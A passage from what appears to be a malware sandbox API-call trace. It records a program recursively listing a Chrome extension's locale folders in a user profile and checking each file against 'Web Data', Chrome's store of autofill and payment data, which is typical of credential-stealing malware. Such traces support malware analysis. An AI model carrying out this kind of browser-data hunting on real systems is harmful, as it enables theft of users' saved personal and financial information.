IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt" [0056.181] LocalFree (hMem=0x2daca0) returned 0x0 [0056.181] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt") returned 131 [0056.181] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt") returned 131 [0056.181] lstrlenA (lpString="\\*.*") returned 4 [0056.181] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.181] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt" [0056.181] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\*.*" [0056.181] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.181] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.181] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.181] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.181] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.181] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.181] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.181] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.181] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.181] LocalFree (hMem=0x2daca0) returned 0x0 [0056.181] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.181] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.181] lstrcmpiA (lpString1=".", lpString2="lv") returned -1 [0056.181] lstrcmpiA (lpString1="..", lpString2="lv") returned -1 [0056.181] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.181] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.182] lstrlenA (lpString="\\") returned 1 [0056.182] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.182] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.182] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.182] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.182] lstrlenA (lpString="lv") returned 2 [0056.182] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.182] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.182] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="lv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv" [0056.182] LocalFree (hMem=0x2daca0) returned 0x0 [0056.182] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv") returned 131 [0056.182] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv") returned 131 [0056.182] lstrlenA (lpString="\\*.*") returned 4 [0056.182] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.182] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv" [0056.182] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\*.*" [0056.182] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.182] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.182] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.182] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.182] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.182] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.182] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.182] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.182] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.182] LocalFree (hMem=0x2daca0) returned 0x0 [0056.182] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.182] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.182] lstrcmpiA (lpString1=".", lpString2="ms") returned -1 [0056.182] lstrcmpiA (lpString1="..", lpString2="ms") returned -1 [0056.182] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.182] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.182] lstrlenA (lpString="\\") returned 1 [0056.182] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.182] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.182] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.182] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.182] lstrlenA (lpString="ms") returned 2 [0056.182] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.182] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.182] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="ms" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms" [0056.182] LocalFree (hMem=0x2daca0) returned 0x0 [0056.182] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms") returned 131 [0056.182] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms") returned 131 [0056.182] lstrlenA (lpString="\\*.*") returned 4 [0056.182] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.182] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms" [0056.183] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\*.*" [0056.183] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.183] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.183] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.183] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.183] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.183] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.183] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.183] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.183] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.183] LocalFree (hMem=0x2daca0) returned 0x0 [0056.183] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.183] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.183] lstrcmpiA (lpString1=".", lpString2="nl") returned -1 [0056.183] lstrcmpiA (lpString1="..", lpString2="nl") returned -1 [0056.183] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.183] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.183] lstrlenA (lpString="\\") returned 1 [0056.183] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.183] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.183] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.183] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.183] lstrlenA (lpString="nl") returned 2 [0056.183] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.183] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.183] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="nl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl" [0056.183] LocalFree (hMem=0x2daca0) returned 0x0 [0056.183] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl") returned 131 [0056.183] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl") returned 131 [0056.183] lstrlenA (lpString="\\*.*") returned 4 [0056.183] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.183] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl" [0056.183] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\*.*" [0056.183] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.184] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.184] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.184] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.184] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.184] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.184] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.184] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.184] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.184] LocalFree (hMem=0x2daca0) returned 0x0 [0056.184] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.184] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.184] lstrcmpiA (lpString1=".", lpString2="no") returned -1 [0056.184] lstrcmpiA (lpString1="..", lpString2="no") returned -1 [0056.184] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.184] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.184] lstrlenA (lpString="\\") returned 1 [0056.184] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.184] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.184] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.184] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.184] lstrlenA (lpString="no") returned 2 [0056.184] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.184] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.184] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="no" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no" [0056.184] LocalFree (hMem=0x2daca0) returned 0x0 [0056.184] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no") returned 131 [0056.184] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no") returned 131 [0056.184] lstrlenA (lpString="\\*.*") returned 4 [0056.184] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.184] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no" [0056.184] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\*.*") returned="C:\\Users\\aDU0VK 